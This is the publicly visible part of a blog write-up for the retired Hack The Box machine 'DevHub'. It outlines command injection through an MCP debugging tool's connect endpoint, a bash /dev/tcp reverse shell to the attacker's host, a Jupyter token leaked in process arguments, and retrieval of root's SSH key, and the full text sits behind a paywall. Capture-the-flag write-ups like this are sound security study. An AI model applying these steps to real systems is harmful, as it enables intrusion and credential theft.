root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat devhub.md
// writeups

DevHub

30 May 2026 · 8 min read · root access
DevHub — Hack The Box machine

Executive summary — DevHub is a Medium Linux box with an MCP tooling (Model Context Protocol) theme. An unknown port turns out to be MCPJam Inspector, a debugging tool exposing /api/mcp/connect: the command field is passed straight to Node.js's spawn() with no validation whatsoever → Command Injection as mcp-dev. In that context, ps aux leaks the Jupyter Lab authentication token (running as analyst) directly in the process arguments; with no WebSocket libraries installed, the protocol gets implemented by hand over raw TCP sockets to talk to the kernel and run code as analyst (user flag). Reading an internal MCP server running as root reveals an endpoint that, with the right bearer token, returns root's private SSH key.

PlatformHack The Box
Operating systemLinux
DifficultyMedium
StatusRetired
Target IP<TARGET_IP>
tun0 (attacker)<ATTACKER_IP>

Attack map

[1] Recon -- nmap: 22 ssh, 80 http (nada relevante), 6274 servicio web desconocido
        |
[2] Puerto 6274 = MCPJam Inspector -- herramienta de debug/testing para servidores MCP locales
        |
[3] DevTools (F12/Network) al anadir un servidor de prueba -> POST /api/mcp/connect
      { "serverConfig": { "command": "whoami", "args": [], ... } }
      "command" pasado sin sanear a spawn() de Node -> Command Injection
        |
[4] Reverse shell (bash puro, nc no disponible) via command="bash", args=["-c","bash -i >&/dev/tcp/..."]
      +-> shell como mcp-dev
        |
[5] ps aux | grep jupyter -- Jupyter Lab corriendo como analyst, TOKEN en los argumentos del proceso
        |
[6] Sin libreria websocket instalada -> handshake+framing WebSocket implementado a mano
      sobre sockets TCP puros -> kernel Jupyter -> execute_request como analyst  ->  user.txt
        |
[7] Mismo canal -> leer /opt/opsmcp/server.py (corre como root) -> puerto interno +
      endpoint + bearer token para un servicio que devuelve la clave SSH de root
        |
[8] curl con el bearer token -> clave privada SSH de root -> ssh -i root_id_rsa root@devhub.htb
      +-> root.txt

1. Reconnaissance

nmap -sC -sV -p- --min-rate 5000 -oN nmap_devhub.txt <TARGET_IP>

Three open ports: 22/tcp (SSH), 80/tcp (HTTP) and 6274/tcp (unknown web service).

echo "<TARGET_IP> devhub.htb" >> /etc/hosts
🔒 Clearance required

Root Access unlocks the content you can't see — everything else on the site is already open.

See Root Access plans

No account? Create one free then upgrade from your console.